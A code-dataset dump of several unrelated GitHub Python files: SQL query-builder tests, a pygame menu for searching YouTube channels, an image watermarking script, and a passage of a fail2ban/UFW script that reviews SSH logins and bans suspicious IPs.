'WHERE follows.follower = :follower_1 ' \\\n 'AND follows.followee = :followee_1'\n\n\ndef test_create_comment_query_builds():\n stmt = EngagementDataService.create_comment(\n \"user\",\n \"concept\",\n \"something to say\",\n datetime.utcnow()\n )\n assert str(stmt) == 'INSERT INTO comments ' \\\n '(comment_id, comment_on, comment_by, free_text, parent, created_at) ' \\\n 'VALUES (:comment_id, :comment_on, :comment_by, :free_text, :parent, :created_at) ' \\\n 'RETURNING comments.comment_id'\n\n\ndef test_find_threads():\n stmt = EngagementDataService.comments_on(\"user/concept\")\n assert str(stmt) == 'SELECT comments.comment_id, comments.comment_by, comments.free_text \\n' \\\n 'FROM comments \\n' \\\n 'WHERE comments.comment_on = :comment_on_1 ' \\\n 'AND comments.parent IS NULL ' \\\n 'ORDER BY comments.created_at'\n\n\ndef test_find_thread_members():\n stmt = EngagementDataService.comments_on(\"user/concept\", 69420)\n assert str(stmt) == 'SELECT comments.comment_id, comments.comment_by, comments.free_text \\n' \\\n 'FROM comments \\n' \\\n 'WHERE comments.comment_on = :comment_on_1 ' \\\n 'AND comments.parent = :parent_1 ' \\\n 'ORDER BY comments.created_at'\n","repo_name":"idea-bank/ideabank-webapi","sub_path":"test/unit/services/test_engage.py","file_name":"test_engage.py","file_ext":"py","file_size_in_byte":3431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31429142585","text":"import io\r\nimport math\r\nfrom urllib.request import urlopen\r\n\r\nimport pygame\r\nimport pygame_gui\r\nfrom pygame_gui.core import ObjectID\r\nfrom pygame_gui.elements import UIWindow, UITextEntryLine, UILabel\r\nfrom youtubesearchpython import ChannelsSearch\r\n\r\nimport utils\r\nfrom channel_menu import ChannelMenu\r\nfrom loader import LoadingScreen\r\nimport loader\r\nfrom settings import *\r\n\r\nfrom scores import get_best_scores, difficulties\r\n\r\n\r\ndef load_music():\r\n loader.load_music('../music.mp3', 0.1)\r\n\r\n\r\ndef set_title():\r\n utils.set_game_title('Main menu')\r\n\r\n\r\nclass ScoresWindow(UIWindow):\r\n\r\n def __init__(self, ui_manager):\r\n window_width, window_height = pygame.display.get_window_size()\r\n width = window_width / 3\r\n height = window_height / 4\r\n\r\n super().__init__(\r\n pygame.Rect((window_width / 2) - (width / 2), (window_height / 2) - (height / 2), width, height),\r\n ui_manager,\r\n window_display_title='Scores',\r\n )\r\n\r\n scores = get_best_scores()\r\n\r\n if scores:\r\n UILabel(pygame.Rect(15, 10, self.relative_rect.width, 50),\r\n 'Best scores for difficulties :',\r\n ui_manager,\r\n self, object_id=ObjectID('#20_text'))\r\n for i, d in enumerate(difficulties):\r\n UILabel(pygame.Rect(15, 50 + (i * 30), self.relative_rect.width, 50),\r\n f'- {d} : {scores[d]}',\r\n ui_manager,\r\n self, object_id=ObjectID('#10_text'))\r\n else:\r\n UILabel(pygame.Rect(15, 20, self.relative_rect.width, 50),\r\n 'No scores available.',\r\n ui_manager,\r\n self, object_id=ObjectID('#20_text'))\r\n\r\n self.set_blocking(True)\r\n\r\n\r\nclass SeamLessBackground:\r\n\r\n def update(self):\r\n for y in range(0, self.lines):\r\n for x in range(0, self.rows):\r\n self.window.blit(self.image, (self.image.get_width() * x, self.image.get_height() * y))\r\n\r\n def __init__(self, texture_path, layer_height):\r\n self.image = utils.scale_surface_height(pygame.image.load(texture_path), layer_height)\r\n self.window = pygame.display.get_surface()\r\n self.lines = math.ceil(self.window.get_height() / self.image.get_height())\r\n self.rows = math.ceil(self.window.get_width() / self.image.get_width())\r\n\r\n\r\nclass SearchResult(pygame_gui.elements.UIPanel):\r\n def __init__(self, padding, height, width, index, y_offset, manager, container, channel_data):\r\n super().__init__(pygame.Rect((0 + padding, ((index * height) + (index * y_offset)) + padding), (width, height)),\r\n 5, manager, container=container, object_id=ObjectID('#result'))\r\n\r\n self.data = channel_data\r\n\r\n padding = 30\r\n\r\n pygame_gui.elements.UILabel(pygame.Rect(padding, 10, self.relative_rect.w, padding),\r\n self.data['name'],\r\n manager,\r\n self,\r\n object_id=ObjectID('#lefttext'))\r\n\r\n image_str = urlopen(f\"https:{self.data['image']}\").read()\r\n self.thumb = pygame.image.load(io.BytesIO(image_str))\r\n\r\n pygame_gui.elements.ui_image.UIImage(\r\n pygame.Rect((padding, 50),\r\n (self.relative_rect.h - (padding * 2) - 20, self.relative_rect.h - (padding * 2) - 20)),\r\n utils.scale_surface_height(self.thumb, self.relative_rect.h),\r\n manager,\r\n self)\r\n\r\n width, height = (150, 50)\r\n\r\n self.button = pygame_gui.elements.UIButton(pygame.Rect(self.relative_rect.w - width - padding,\r\n self.relative_rect.h - height - padding,\r\n width, height),\r\n 'select',\r\n manager,\r\n self, object_id=ObjectID('#button'))\r\n\r\n\r\nclass ScrollablePanel(pygame_gui.elements.UIPanel):\r\n\r\n @property\r\n def scroll_height(self):\r\n return self._scroll_height\r\n\r\n @scroll_height.setter\r\n def scroll_height(self, height):\r\n self._scroll_height = height\r\n self.container.set_scrollable_area_dimensions((self.container.relative_rect.w - 30, self._scroll_height))\r\n\r\n def __init__(self, rect, ui_manager, panel):\r\n super().__init__(rect, 0, manager=ui_manager, container=panel, object_id=ObjectID('#result_container'))\r\n\r\n self.container = pygame_gui.elements.UIScrollingContainer(pygame.Rect(0, 0, self.relative_rect.w - 4,\r\n self.relative_rect.h - 4),\r\n ui_manager, container=self)\r\n\r\n self._scroll_height = 0\r\n self.scroll_height = 0\r\n\r\n\r\nclass SearchResults(ScrollablePanel):\r\n\r\n @property\r\n def results(self):\r\n return self._results\r\n\r\n @results.setter\r\n def results(self, results):\r\n for res in self._results:\r\n res.kill()\r\n\r\n self._results = [\r\n SearchResult(self._entry_padding,\r\n self._entry_height,\r\n self._entry_width, i,\r\n self._entry_y_offset,\r\n self._manager,\r\n self.container,\r\n result)\r\n for i, result in enumerate(results)\r\n ]\r\n self.scroll_height = self._entry_padding + \\\r\n (self._entry_height * len(results)) + \\\r\n (self._entry_y_offset * len(results))\r\n\r\n def __init__(self, rect, ui_manager, panel):\r\n super().__init__(rect, ui_manager, panel)\r\n\r\n self._entry_padding = 10\r\n self._entry_y_offset = 20\r\n self._entry_width = rect.w - (self._entry_padding * 2) - 30\r\n self._entry_height = self._entry_width * 0.4\r\n\r\n self._manager = ui_manager\r\n self._results = []\r\n\r\n\r\nclass SearchModule:\r\n\r\n @property\r\n def text(self):\r\n return self.entry.text\r\n\r\n @text.setter\r\n def text(self, status):\r\n self.entry.set_text(status)\r\n\r\n @property\r\n def results(self):\r\n return self.results_container.results\r\n\r\n @results.setter\r\n def results(self, results):\r\n self.results_container.results = results\r\n\r\n def __init__(self, padding, ui_manager, container):\r\n self.entry = UITextEntryLine(pygame.Rect((padding, padding), (200, 35)),\r\n ui_manager,\r\n container=container,\r\n object_id='#search_text_entry')\r\n\r\n self.button = pygame_gui.elements.UIButton(\r\n relative_rect=pygame.Rect(self.entry.relative_rect.x + self.entry.relative_rect.w,\r\n self.entry.relative_rect.y,\r\n self.entry.relative_rect.h,\r\n self.entry.relative_rect.h),\r\n container=container,\r\n manager=ui_manager,\r\n object_id=ObjectID('#search_button'),\r\n text=''\r\n )\r\n\r\n pygame_gui.elements.UILabel(\r\n pygame.Rect(self.entry.relative_rect.x + 5,\r\n self.entry.relative_rect.y - 15,\r\n self.entry.relative_rect.w,\r\n 20),\r\n 'Search for a YouTube channel',\r\n container=container,\r\n manager=ui_manager,\r\n object_id=ObjectID('#search_text'),\r\n )\r\n\r\n y_offset = 80\r\n\r\n self.results_container = SearchResults(pygame.Rect((padding, y_offset),\r\n (container.relative_rect.w - (padding * 2),\r\n container.relative_rect.h - y_offset - padding)),\r\n ui_manager, container)\r\n\r\n\r\nclass SelectedPanel(pygame_gui.elements.UIPanel):\r\n def __init__(self, relative_rect, manager, container, image: pygame.Surface, data):\r\n super().__init__(relative_rect, 1, manager, container=container, object_id=ObjectID('#sub_panel'))\r\n\r\n padding = 40\r\n pygame_gui.elements.UIImage(pygame.Rect(padding, padding, 200, 200), image, manager, self)\r\n\r\n UILabel(pygame.Rect(padding, 250, self.relative_rect.width, 50),\r\n data['name'],\r\n manager,\r\n self, object_id=ObjectID('#lefttext'))\r\n\r\n UILabel(pygame.Rect(padding, 280, self.relative_rect.width, 50),\r\n f\"• {data['sub']}\",\r\n manager,\r\n self, object_id=ObjectID('#lefttext'))\r\n\r\n UILabel(pygame.Rect(padding, 310, self.relative_rect.width, 50),\r\n f\"• {data['v_count']} videos\",\r\n manager,\r\n self, object_id=ObjectID('#lefttext'))\r\n\r\n width, height, padding = (150, 50, 30)\r\n\r\n self.id = data['id']\r\n\r\n self.button = pygame_gui.elements.UIButton(pygame.Rect(self.relative_rect.w - width - padding,\r\n self.relative_rect.h - height - padding,\r\n width, height),\r\n 'start session', manager, self, object_id=ObjectID('#button'))\r\n\r\n\r\nclass NewGameWindow(UIWindow):\r\n\r\n def init_search_panel(self):\r\n return pygame_gui.elements.UIPanel(relative_rect=self.calculate_Rect(0),\r\n starting_layer_height=4,\r\n manager=self._manager,\r\n container=self,\r\n object_id=ObjectID('#sub_panel'))\r\n\r\n def calculate_Rect(self, idx):\r\n\r\n width = (self.rect.width - 70) / 2\r\n height = (self.rect.h - 60) - (2 * self._padding_from_borders)\r\n\r\n return pygame.Rect(((self._padding_from_borders * (idx + 1)) + (idx * width), self._padding_from_borders),\r\n (width, height))\r\n\r\n def set_selected(self, data, image):\r\n if self.selected_panel:\r\n self.selected_panel.kill()\r\n\r\n self.selected_panel = SelectedPanel(self.calculate_Rect(1), self._manager, self, image, data)\r\n\r\n def check_events(self, event):\r\n for res in self.search_module.results:\r\n if event.ui_element == res.button:\r\n self.set_selected(res.data, res.thumb)\r\n\r\n if self.selected_panel:\r\n if event.ui_element == self.selected_panel.button:\r\n names = LoadingScreen(self.selected_panel.id).run()\r\n ChannelMenu(self.selected_panel.id, names).run()\r\n load_music()\r\n set_title()\r\n\r\n def __init__(self, ui_manager):\r\n window_width, window_height = pygame.display.get_window_size()\r\n width = window_width / 1.5\r\n height = window_height / 1.5\r\n\r\n self._manager = ui_manager\r\n\r\n super().__init__(\r\n pygame.Rect((window_width / 2) - (width / 2), (window_height / 2) - (height / 2), width, height),\r\n self._manager,\r\n window_display_title='Create a new session',\r\n )\r\n\r\n self._padding_from_borders = 10\r\n\r\n self.panel = self.init_search_panel()\r\n self.search_module = SearchModule(20, self._manager, self.panel)\r\n self.selected_panel = None\r\n\r\n self.set_blocking(True)\r\n\r\n\r\nclass MainMenu:\r\n def run(self):\r\n load_music()\r\n\r\n while self.running:\r\n time_delta = self.clock.tick(FPS) / 1000.0\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n utils.exit_app()\r\n\r\n if (event.type == pygame_gui.UI_TEXT_ENTRY_FINISHED and\r\n event.ui_element == self.new_game_window.search_module.entry):\r\n self.on_search(event.text)\r\n\r\n self._manager.process_events(event)\r\n self.check_buttons(event)\r\n\r\n self._manager.update(time_delta)\r\n\r\n pygame.display.get_surface().blit(self.back, pygame.Rect((0, 0), (200, 200)))\r\n\r\n self._manager.draw_ui(pygame.display.get_surface())\r\n pygame.display.update()\r\n\r\n def on_search(self, query):\r\n channelsSearch = ChannelsSearch(query, limit=10)\r\n self.new_game_window.search_module.results = [\r\n {\r\n 'id': c['id'],\r\n 'name': c['title'],\r\n 'image': c['thumbnails'][0]['url'],\r\n 'sub': c['subscribers'],\r\n 'v_count': c['videoCount']\r\n }\r\n for c in channelsSearch.result().get('result')\r\n ]\r\n\r\n def check_buttons(self, event):\r\n if event.type == pygame_gui.UI_BUTTON_PRESSED:\r\n if event.ui_element == self.quit_button:\r\n utils.exit_app()\r\n\r\n if event.ui_element == self.new_game_button:\r\n self.new_game_window = NewGameWindow(self._manager)\r\n\r\n if event.ui_element == self.scores_button:\r\n self.scores_window = ScoresWindow(self._manager)\r\n\r\n if self.new_game_window:\r\n if event.ui_element == self.new_game_window.search_module.button:\r\n self.on_search(self.new_game_window.search_module.text)\r\n\r\n if self.new_game_window:\r\n self.new_game_window.check_events(event)\r\n\r\n def init_ui_manager(self):\r\n return pygame_gui.UIManager(utils.get_dims_from_surface(pygame.display.get_surface()), '../themes/main.json')\r\n\r\n def init_main_panel(self):\r\n return pygame_gui.elements.UIPanel(relative_rect=utils.get_centered_rect(500, 800),\r\n starting_layer_height=4,\r\n manager=self._manager,\r\n object_id=ObjectID('#main_panel'))\r\n\r\n def init_static_content(self):\r\n pygame_gui.elements.UILabel(pygame.Rect(0, 20, self.panel.relative_rect.w, 80),\r\n NAME,\r\n self._manager,\r\n object_id=ObjectID('#test'),\r\n container=self.panel)\r\n\r\n def init_menu_button(self, data, width, height, y_offset=0):\r\n label, theme_id = data\r\n return pygame_gui.elements.UIButton(\r\n relative_rect=pygame.Rect(self.panel.relative_rect.w / 2 - (width / 2),\r\n self.panel.relative_rect.y + y_offset,\r\n width, height),\r\n text=label,\r\n manager=self._manager,\r\n container=self.panel,\r\n object_id=ObjectID(theme_id))\r\n\r\n def init_menu_buttons(self, datas, width, height, y_offset, padding):\r\n return [self.init_menu_button(data, width, height, (i * height) + y_offset + (i * padding)) for i, data in\r\n enumerate(datas)]\r\n\r\n def __init__(self):\r\n self.back = utils.scale_surface_height(pygame.image.load('../graphics/background.jpg'),\r\n pygame.display.get_surface().get_height())\r\n self.running = True\r\n\r\n set_title()\r\n\r\n self._manager = self.init_ui_manager()\r\n\r\n self.panel = self.init_main_panel()\r\n\r\n self.new_game_button, self.scores_button, self.quit_button = self.init_menu_buttons(\r\n [('New Game', '#button1'), ('Scores', '#button2'), ('Quit', '#button3')],\r\n 300, 70, 100, 20\r\n )\r\n\r\n self.init_static_content()\r\n\r\n self.new_game_window = None\r\n self.scores_window = None\r\n\r\n self.clock = pygame.time.Clock()\r\n","repo_name":"Loic-Vanden-Bossche/DMCA-Survivor","sub_path":"src/main_menu.py","file_name":"main_menu.py","file_ext":"py","file_size_in_byte":16195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40802493240","text":"import getopt\nimport sys\nfrom os import path, listdir, mkdir\nfrom time import sleep\nfrom PIL import Image\n\n\n# This other module just prevents me from writing an absolute\n# path in my filesystem on Github. It contains a function which\n# returns the absolute path to the watermark png files. It is used at the *~*~*~* symbol.\nimport logopaths\n\n\ndef main():\n overwrite = False\n new_folder = False\n only_new = False;\n is_folder = False\n position_set = False\n left_up = False\n right_up = False\n left_down = False\n right_down = True\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'onNf1234', ['help'])\n num_times = len(args)\n if num_times < 1 and '--help' not in [x[0] for x in opts]:\n print('usage: watermark [options] file1 [file2 ...]')\n exit(1)\n\n except getopt.GetoptError:\n print('Invalid option. Use --help for list of valid options.')\n exit(2)\n for opt, arg in opts:\n if opt == '-o':\n if new_folder:\n print('Overwrite and new folder options are incompatible.')\n exit(2)\n overwrite = True\n print('OVERWRITE WARNING: Original files will be overwritten. This cannot be undone. Press ctrl+C to stop.')\n print(str(3) + '....', end='')\n sys.stdout.flush()\n sleep(2)\n print(str(2) + '....', end='')\n sys.stdout.flush()\n sleep(2)\n print(str(1) + '....', end='')\n sys.stdout.flush()\n sleep(2)\n print(str(0) + '....', end='')\n sys.stdout.flush()\n sleep(2)\n print(' Continuing.')\n elif opt == '-n':\n if overwrite:\n print('Overwrite and new folder options are incompatible.')\n exit(2)\n new_folder = True\n elif opt == '-N':\n if overwrite:\n print('Overwrite and new folder options are incompatible.')\n exit(2)\n new_folder = True\n only_new = True # note that if options -n and -N, program behave as if just -N option selected.\n elif opt == '-f':\n is_folder = True\n elif opt == '-1':\n if position_set:\n print('Watermark location already set.')\n exit(2)\n left_up = True\n right_down = False\n position_set = True\n elif opt == '-2':\n if position_set:\n print('Watermark location already set.')\n exit(2)\n right_up = True\n right_down = False\n position_set = True\n elif opt == '-3':\n if position_set:\n print('Watermark location already set.')\n exit(2)\n right_down = True\n position_set = True\n elif opt == '-4':\n if position_set:\n print('Watermark location already set.')\n exit(2)\n left_down = True\n right_down = False\n position_set = True\n elif opt == '--help':\n print('usage: watermark [options] file1 [file2 ...]')\n print('OPTIONS:')\n print('-o\\t Turn on overwrite mode. Will overwrite the original file.')\n print('-n\\t Save files to new child folder \\'Watermarked\\'.')\n print('-N\\t Save files to new child folder \\'Waterkarked\\', ignoring files which are already there.')\n print('-f\\t arg1 is a folder containing the images to be watermarked. Only reads arg1. Not recursive.\\n')\n print('-1\\t Print watermark in the upper left corner. Placed in bottom right by default.')\n print('-2\\t Print watermark in the upper right corner. Placed in bottom right by default.')\n print('-3\\t Print watermark in the bottom right corner. Placed in bottom right by default.')\n print('-4\\t Print watermark in the bottom left corner. Placed in bottom right by default.\\n')\n print('--help\\t displays this help text.')\n sys.stdout.flush()\n exit(0)\n\n # *~*~*~*\n # Loading the watermarks. There is one which is dark and one\n # which is light, so that there is a suitable one for every file.\n # The logopaths module was just written to not have an absolute path\n # on my filesystem in the Github repository. You can replace it with\n # your own watermark .png file paths.\n watermark_dark = Image.open(logopaths.logopaths(1))\n watermark_light = Image.open(logopaths.logopaths(2))\n\n # -f option.\n if is_folder:\n folder_nm = args[0]\n if not path.isdir(folder_nm):\n print('Argument was not a folder name.')\n exit(1)\n if not folder_nm.endswith('/'):\n folder_nm += '/'\n # replace the list of arguments with the files in the folder.\n args = [folder_nm + f for f in listdir(folder_nm) if not (path.isdir(folder_nm + f))]\n num_times = len(args)\n\n err = 0\n\n for i in range(0, num_times):\n if only_new: # -N check if file already is watermarked\n tail, head = path.split(args[i])\n filename, ext = path.splitext(head)\n if path.isfile(tail + '/Watermarked/' + filename + '_WM' + ext):\n print('Skipping image ' + str(i + 1) + ' of ' + str(num_times) + '.')\n continue\n\n print('Watermarking image ' + str(i + 1) + ' of ' + str(num_times) + '........', end='')\n sys.stdout.flush()\n try:\n img = Image.open(args[i])\n except IOError:\n print('Error reading file \\'' + args[i] + '\\'.')\n sys.stdout.flush()\n err += 1\n continue\n\n info = img.info # ensures we can retrieve file information.\n\n # finding which corner the logo is to be placed in. 490x220 are the dimensions of my watermark;\n # you will want to change these numbers to match your dimensions.\n if right_down:\n x, y = img.width - 490, img.height - 220\n logo_area = img.crop((x, y, img.width, img.height))\n\n elif left_down:\n x, y = 0, img.height - 220\n logo_area = img.crop((x, y, 490, img.height))\n\n elif right_up:\n x, y = img.width - 490, 0\n logo_area = img.crop((x, y, img.width, 220))\n\n elif left_up:\n x, y = 0, 0\n logo_area = img.crop((x, y, 490, 220))\n\n # check if logo corner is dark, to decide whether to use light or dark watermark.\n # thanks, http://stackoverflow.com/a/27868513\n pixels = logo_area.getdata()\n num_black = 0\n for pixel in pixels:\n if (pixel[0] + pixel[1] + pixel[2]) < 125: # you may want to tweak this value to suit your watermark.\n num_black += 1\n n = len(pixels)\n\n if (num_black / float(n)) > 0.47: # you may want to tweak this value to suit your watermark as well.\n img.paste(watermark_light, (x, y), watermark_light)\n print('Done (light)')\n sys.stdout.flush()\n else:\n img.paste(watermark_dark, (x, y), watermark_dark)\n print('Done (dark)')\n sys.stdout.flush()\n\n\n\n # different save file options\n if overwrite: # -o\n img.save(args[i], icc_profile=info['icc_profile'], subsampling='keep', adobe=('adobe' in info), qtables='keep', quality=100, exif=info['exif'])\n elif new_folder: # -n or -N\n tail, head = path.split(args[i])\n filename, ext = path.splitext(head)\n img.save(tail + '/Watermarked/' + filename + '_WM' + ext, icc_profile=info['icc_profile'], subsampling='keep', adobe=('adobe' in info), qtables='keep', quality=100, exif=info['exif'])\n\n else: # vanilla\n filename, ext = path.splitext(args[i])\n img.save(filename + '_WM' + ext, icc_profile=info['icc_profile'], subsampling='keep', adobe=('adobe' in info), qtables='keep', quality=100, exif=info['exif'])\n\n print(str(num_times - err) + '/' + str(num_times) + ' files successfully watermarked.')\nif __name__ == '__main__':\n main()\n","repo_name":"kagof/Watermark","sub_path":"watermark/watermark.py","file_name":"watermark.py","file_ext":"py","file_size_in_byte":8182,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"3723229345","text":"import re\nimport subprocess\nfrom subprocess import check_output as co\nimport argparse\nimport os\nfrom termcolor import colored\nfrom numpy.random import choice\nfrom tabulate import tabulate as tab\nimport sys\n\ntrusted_ips_path = os.path.abspath(\n os.path.join(__file__, '../../MILD_SECRETS/SUPER_SECRETS')\n)\ntrusted_ips_file = (\n co(f'find {trusted_ips_path} -name trusted_ips.py', shell=True)\n .decode()\n .strip()\n).split('\\n')\nif len(trusted_ips_file) != 1:\n raise ValueError(\n f'Expected one trusted_ips.py file, found {len(trusted_ips_file)}'\n )\nsys.path.append(os.path.dirname(trusted_ips_file[0]))\nfrom trusted_ips import trusted_ips\n\n\ndef rc():\n colors = [\n 'grey',\n 'red',\n 'green',\n 'yellow',\n 'blue',\n 'magenta',\n 'cyan',\n 'white',\n ]\n return choice(colors)\n\n\ndef ip_to_int(*, ip):\n \"\"\"Convert an IP address to integer for easier comparison.\"\"\"\n return int(\"\".join([f\"{int(i):08b}\" for i in ip.split(\".\")]), 2)\n\n\ndef is_local_ip(*, ip, private_ip_ranges):\n \"\"\"Check if IP is in a specified range.\"\"\"\n ip_int = ip_to_int(ip=ip)\n for start, end in private_ip_ranges:\n if ip_to_int(ip=start) <= ip_int <= ip_to_int(ip=end):\n return True\n return False\n\n\ndef is_special_ip(*, ip, special_ips):\n return ip_to_int(ip=ip) in [ip_to_int(ip=i) for i in special_ips]\n\n\ndef get_ip_regex():\n return r\"\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\b\"\n\n\ndef get_ip_log():\n # Read the content of the auth.log\n with open(\"/var/log/auth.log\", \"r\") as f:\n lines = f.readlines()\n\n # Extract IP addresses from sshd related logs\n ip_regex = get_ip_regex()\n ips = [\n re.search(ip_regex, line).group(0)\n for line in lines\n if \"sshd\" in line and re.search(ip_regex, line)\n ]\n\n # Unique IPs\n unique_ips = list(set(ips))\n return unique_ips\n\n\ndef get_banned_ips():\n # Get the list of banned IPs from fail2ban\n cmd = \"sudo fail2ban-client status sshd | grep 'Banned IP list:'\"\n process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n output, _ = process.communicate()\n banned_lines = output.decode().split(\"\\n\")\n banned_lines = [e for e in banned_lines if e != \"\"]\n\n banned_ips = []\n prefix = \"Banned IP list:\"\n for line in banned_lines:\n ip_addresses = line.split(prefix)[-1].strip().split(\" \")\n ip_addresses = [ip.strip() for ip in ip_addresses if ip.strip() != \"\"]\n banned_ips.extend(ip_addresses)\n\n return banned_ips\n\n\ndef get_trusted(*, ips, private_ip_ranges, special_ips):\n potential_local = [\n ip\n for ip in ips\n if is_local_ip(ip=ip, private_ip_ranges=private_ip_ranges)\n ]\n potential_special = [\n ip for ip in ips if is_special_ip(ip=ip, special_ips=special_ips)\n ]\n return potential_local, potential_special\n\n\ndef get_jail_info(*, private_ip_ranges, special_ips):\n ips = get_ip_log()\n banned_ips = get_banned_ips()\n potential_local, potential_special = get_trusted(\n ips=ips, private_ip_ranges=private_ip_ranges, special_ips=special_ips\n )\n recently_jailed = [ip for ip in ips if ip in banned_ips]\n possible_hackers = [\n ip\n for ip in ips\n if ip not in potential_local\n and ip not in recently_jailed\n and ip not in potential_special\n ]\n d = {\n \"ips\": ips,\n \"banned_ips\": banned_ips,\n \"potential_local\": potential_local,\n \"potential_special\": potential_special,\n \"recently_jailed\": recently_jailed,\n \"possible_hackers\": possible_hackers,\n }\n return d\n\n\ndef report(*, heading, ips, char, color=None):\n s = [80 * char, heading]\n s.extend([f\" {ip}\" for ip in ips])\n s.extend([80 * char, \"\\n\"])\n s = \"\\n\".join(s)\n if color is not None:\n s = colored(s, color)\n return s\n\n\ndef vtable(*args, colors=None, headers=None, **kw):\n # Find the maximum length among all the lists\n max_length = max(len(lst) for lst in args)\n\n # Pad each list with None values so that they all have the same length\n padded_args = [lst + [None] * (max_length - len(lst)) for lst in args]\n if colors is not None:\n padded_args = [\n [None if e is None else colored(e, colors[i]) for e in lst]\n for i, lst in enumerate(padded_args)\n ]\n if headers is not None:\n headers = [colored(h, colors[i]) for i, h in enumerate(headers)]\n\n # Transpose the list of lists to arrange them in columns rather than rows\n transposed_args = list(zip(*padded_args))\n\n # Create the table using tabulate\n return tab(transposed_args, headers=headers, **kw)\n\n\ndef report_jail(\n *,\n potential_local,\n banned_ips,\n recently_jailed,\n possible_hackers,\n potential_special,\n colors=None,\n **kw,\n):\n # report(\n # heading=\"SUCCESSFUL LOGINS\",\n # ips=potential_special,\n # char=\"-\",\n # color='red',\n # )\n # report(heading=\"POTENTIAL LOCAL\", ips=potential_local, char=\"*\")\n # report(heading=\"FULL JAIL LIST\", ips=banned_ips, char=\"&\")\n # report(heading=\"RECENTLY JAILED\", ips=recently_jailed, char=\"#\")\n # report(\n # heading=f\"POTENTIAL HACKERS ({len(possible_hackers)})\",\n # ips=possible_hackers,\n # char=\"@\",\n # )\n headers = [\n 'SUCCESSFUL LOGINS',\n 'POTENTIAL LOCAL',\n 'FULL JAIL LIST',\n 'RECENTLY JAILED',\n f'POTENTIAL HACKERS ({len(possible_hackers)})',\n ]\n if colors is None:\n colors = [rc() for _ in range(len(headers))]\n colors[0] = 'red'\n\n table = vtable(\n potential_special,\n potential_local,\n banned_ips,\n recently_jailed,\n possible_hackers,\n headers=headers,\n colors=colors,\n **kw,\n )\n print(table)\n\n\ndef dialogue_jail(*, possible_hackers, interactive=True):\n if len(possible_hackers) > 0:\n fail2ban_response = get_input(\n \"Go through fail2ban purge dialogue?\", interactive=interactive\n )\n if fail2ban_response:\n fail2ban_response = get_input(\n \"Are you sure? BE CAREFUL IF YOU ARE DOING THIS REMOTELY!\",\n interactive=interactive,\n )\n if fail2ban_response:\n for hacker_ip in possible_hackers:\n take_action = get_input(\n f'Ban \"{hacker_ip}\"?', interactive=interactive\n )\n if take_action:\n cmd = f\"sudo fail2ban-client set sshd banip {hacker_ip}\"\n process = subprocess.Popen(\n cmd,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n output, error = process.communicate()\n if process.returncode == 0:\n print(f\" Successfully banned {hacker_ip}\")\n else:\n print(\n f\"Error banning {hacker_ip}. Error:\"\n f\" {error.decode()}\"\n )\n\n\ndef get_firewall_candidates(*, jail):\n cmd = \"sudo ufw status numbered | grep 'SCALPEL_DENY'\"\n process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n output, error = process.communicate()\n firewalled_lines = output.decode().split(\"\\n\")\n firewalled_lines = [e for e in firewalled_lines if e != \"\"]\n\n ip_regex = get_ip_regex()\n\n firewalled_ips = [\n re.search(ip_regex, line).group(0)\n for line in firewalled_lines\n if re.search(ip_regex, line)\n ]\n\n # Compute jailed but not firewalled IPs\n jailed_but_not_firewalled = list(set(jail) - set(firewalled_ips))\n return firewalled_ips, jailed_but_not_firewalled\n\n\ndef report_firewall(\n *, firewalled_ips, jailed_but_not_firewalled, colors=None, **kw\n):\n # report(heading=\"CURRENTLY FIREWALLED\", ips=firewalled_ips, char=\"%\")\n # report(\n # heading=f\"JAILED BUT NOT FIREWALLED ({len(jailed_but_not_firewalled)})\",\n # ips=jailed_but_not_firewalled,\n # char=\"^\",\n # )\n headers = [\n f'JAILED BUT NOT FIREWALLED ({len(jailed_but_not_firewalled)})',\n \"CURRENTLY FIREWALLED\",\n ]\n if colors is None:\n colors = [rc() for _ in range(len(headers))]\n colors[0] = 'red'\n\n table = vtable(\n jailed_but_not_firewalled,\n firewalled_ips,\n headers=headers,\n colors=colors,\n **kw,\n )\n print(table)\n\n\ndef add_to_ufw(*, ip):\n cmd = f\"sudo ufw deny from {ip} comment 'SCALPEL_DENY'\"\n process = subprocess.Popen(\n cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n )\n _, error = process.communicate()\n if process.returncode == 0:\n print(f\" Successfully added {ip} to UFW firewall.\")\n else:\n print(f\" Error adding {ip} to UFW firewall. Error: {error.decode()}\")\n\n\ndef dialogue_firewall(*, jailed_but_not_firewalled, interactive=True):\n if len(jailed_but_not_firewalled) > 0:\n firewall_response = get_input(\n \"Would you like to firewall the currently jailed items also?\",\n interactive=interactive,\n )\n\n if firewall_response:\n firewall_response = get_input(\n \"Are you sure? BE CAREFUL IF YOU ARE DOING THIS REMOTELY!\",\n interactive=interactive,\n )\n if firewall_response:\n for jailed_ip in jailed_but_not_firewalled:\n add_to_ufw(ip=jailed_ip)\n else:\n print(\"Exiting without firewalling any IPs.\")\n\n\ndef get_input(prompt, *, yes=\"y\", no=\"n\", interactive=True):\n clean_prompt = (\n prompt.strip()\n .replace(\"?\", \"\")\n .replace(f\"({yes}/{no})\", \"\")\n .replace(f\"(yes -> {yes}/no -> {no})\", \"\")\n .strip()\n )\n clean_prompt = f\"{clean_prompt} ({yes}/{no})? \"\n if not interactive:\n print(f\"{clean_prompt} {yes} (non-interactive mode)\")\n return True\n if yes.lower() != yes or no.lower() != no:\n raise ValueError(\"yes and no must be lowercase, got {yes} and {no}\")\n response = input(clean_prompt).strip().lower()\n if response == yes:\n return True\n elif response == no:\n return False\n else:\n print(f'Invalid response. Please enter \"{yes}\" or \"{no}\".')\n return get_input(prompt=prompt, yes=yes, no=no)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Auto jail and firewall IPs.\")\n parser.add_argument(\n \"--noninteractive\",\n \"-n\",\n action=\"store_true\",\n help=\"Enable interactive mode.\",\n )\n args = parser.parse_args()\n args.interactive = not args.noninteractive\n\n # Classify IPs\n # Special IPs and Private IP ranges\n # Should be located in this .trusted_ips.py file\n special_ips, private_ip_ranges = 